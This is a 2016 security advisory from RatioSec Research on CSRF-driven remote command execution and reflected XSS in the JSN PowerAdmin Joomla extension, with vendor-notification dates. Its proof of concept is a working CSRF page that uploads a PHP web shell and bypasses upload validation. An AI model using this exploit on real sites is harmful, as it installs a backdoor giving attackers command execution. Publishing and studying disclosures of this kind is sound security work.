JSN PowerAdmin 2.3.0 Code Exection / CSRF / XSS

Type packetstorm
Reporter RatioSec Research
Modified 2016-02-25T00:00:00


RatioSec Research Security Advisory RS-2016-001  
JSN PowerAdmin Joomla! Extension Remote Command Execution Via CSRF and  
XSS vulnerabilities  
Product: JSN PowerAdmin Joomla! Extension  
Vendor: JoomlaShine.com  
Tested Versions: 2.3.0  
Other Vulnerable Versions: Prior versions may also be affected  
Vendor Notification: 28th January, 2016  
Advisory Publication: 24th February, 2016  
CVE Reference: Pending  
RatioSec Advisory Reference: RS-2016-001  
Risk Level: High  
CVSSv3 Base Score: AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L  
RatioSec Research has discovered two cross-site request forgery and  
reflected cross-site scripting vulnerabilities in JSN PowerAdmin  
Joomla! Extension which can be exploited, respectively, to upload PHP  
files and run arbitrary HTML and script code in a user's browser  
session in context of the affected web site.  
1) The application allows users to perform certain actions via HTTP  
requests without performing proper checks to verify the requests  
validity. An authenticated user's browser can be forced to upload PHP  
files via the extension installer and subsequently execute arbitrary  
commands with the web server privileges by tricking the user into  
visiting a malicious web site.  
2) Input passed to `identified_name` GET parameter when `package` is  
set, `option` is set to `com_poweradmin`, `view` is set to  
`installer`, and `task` is set to `installer.install` in  
`/administrator/index.php` is not properly sanitised before being  
reflected. This can be exploited to run arbitrary HTML and script code  
in a user's browser session in context of the affected web site.  
Proof of Concept  
Read the advisory details on the RatioSec Research website for the  
proof of concept code.  
No official solution is currently available.  
- First contact: 27th January, 2016  
- Disclosure: 28th January, 2016. Preliminary date set to 10th, February 2016.  
- E-mail notice after no response: 02nd February, 2016  
- Advisory Publication: 24th February, 2016  
Advisory URL  
RatioSec Research  
Mail: research at ratiosec dot com  
Web: http://www.ratiosec.com/  
Twitter: https://twitter.com/ratio_sec  
Proof Of Concept  
1) The following HTML page exploits the cross-site request forgery vulnerability and uploads a malicious PHP script system($_GET['cmd']); as /tmp/bd.phtml if visited by a logged-in administrator.  
function submitRequest()  
var xhr = new XMLHttpRequest();  
xhr.open("POST", "http://localhost/no8/joomla/administrator/index.php?option=com_poweradmin&view=installer&task=installer.install", true);  
xhr.setRequestHeader("Accept", "*/*");  
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");  
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------167969427914885435381146171168");  
xhr.withCredentials = true;  
var body = "-----------------------------167969427914885435381146171168\r\n" +  
"Content-Disposition: form-data; name=\"package\"; filename=\"bd.phtml\"\r\n" +  
"Content-Type: application/octet-stream\r\n" +  
"\r\n" +  
"\x3cscript language=\"php\"\x3esystem($_GET['cmd']);\r\n" +  
"\r\n" +  
"-----------------------------167969427914885435381146171168--\r\n" +  
"\r\n" +  
var aBody = new Uint8Array(body.length);  
for (var i = 0; i < aBody.length; i++)  
aBody[i] = body.charCodeAt(i);  
xhr.send(new Blob([aBody]));  
<form action="#">  
<input type="button" value="Submit request" onclick="submitRequest();" />  
The file extension .phtml and the <script language="php"> </script> tags are used here to fool the Joomla API JFile::upload() file validation checks. As result, the backdoor is installed permanently as /tmp/bd.phtml which can be used lately by the attacker to obtain the full system compromise.  
Command Execution  
2) The following URL exploits the cross-site scripting vulnerability to execute javascript code in a logged-in administrator’s browser.